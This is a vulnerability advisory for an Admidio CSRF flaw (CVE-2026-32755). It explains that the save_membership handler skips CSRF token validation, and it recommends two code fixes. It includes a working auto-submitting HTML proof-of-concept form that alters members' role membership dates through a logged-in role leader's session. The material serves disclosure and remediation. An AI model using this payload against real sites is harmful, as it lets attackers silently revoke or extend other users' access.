CVE-2026-32755

## Summary The `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. ## Details ### CSRF Check Is Absent for save_membership File: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42 The CSRF guard covers only two of the three mutative modes: ```php if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); } ``` The `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification: ```php } elseif ($getMode === 'save_membership') { $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true)); $postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true)); $member = new Membership($gDb); $member->readDataByUuid($getMemberUuid); $role = new Role($gDb, (int)$member->getValue('mem_rol_id')); // check if user has the right to edit this membership if (!$role->allowedToAssignMembers($gCurrentUser)) { throw new Exception('SYS_NO_RIGHTS'); } // ... validates dates ... $role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...); echo 'success'; } ``` File: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169 ### The Form Does Generate a CSRF Token (Not Validated) File: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241 The membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it. ### Who Can Be Exploited as the CSRF Victim File: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121 The `allowedToAssignMembers()` check grants write access to: - Any user who is `isAdministratorRoles()` (role administrators), or - Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT` Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface. ### UUIDs Are Discoverable from HTML Source The save URL for the membership date form is embedded in the profile page HTML: ``` /adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID> ``` Any authenticated member who can view a profile page can extract both UUIDs from the page source. ## PoC The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio: ```html <!DOCTYPE html> <html> <body onload="document.getElementById('csrf_form').submit()"> <form id="csrf_form" method="POST" action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>"> <input type="hidden" name="adm_membership_start_date" value="2000-01-01"> <input type="hidden" name="adm_membership_end_date" value="2000-01-02"> </form> </body> </html> ``` Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past). Note: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`. ## Impact - **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation. - **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights. - **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated. - **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email. ## Recommended Fix ### Fix 1: Add `save_membership` to the existing CSRF validation check ```php // File: modules/profile/profile_function.php, lines 40-42 if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); } ``` ### Fix 2: Use the form-object validation pattern (consistent with other write endpoints) ```php } elseif ($getMode === 'save_membership') { // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.) $membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']); $formValues = $membershipForm->validate($_POST); $postMembershipStart = $formValues['adm_membership_start_date']; $postMembershipEnd = $formValues['adm_membership_end_date']; // ... rest of save logic unchanged } ```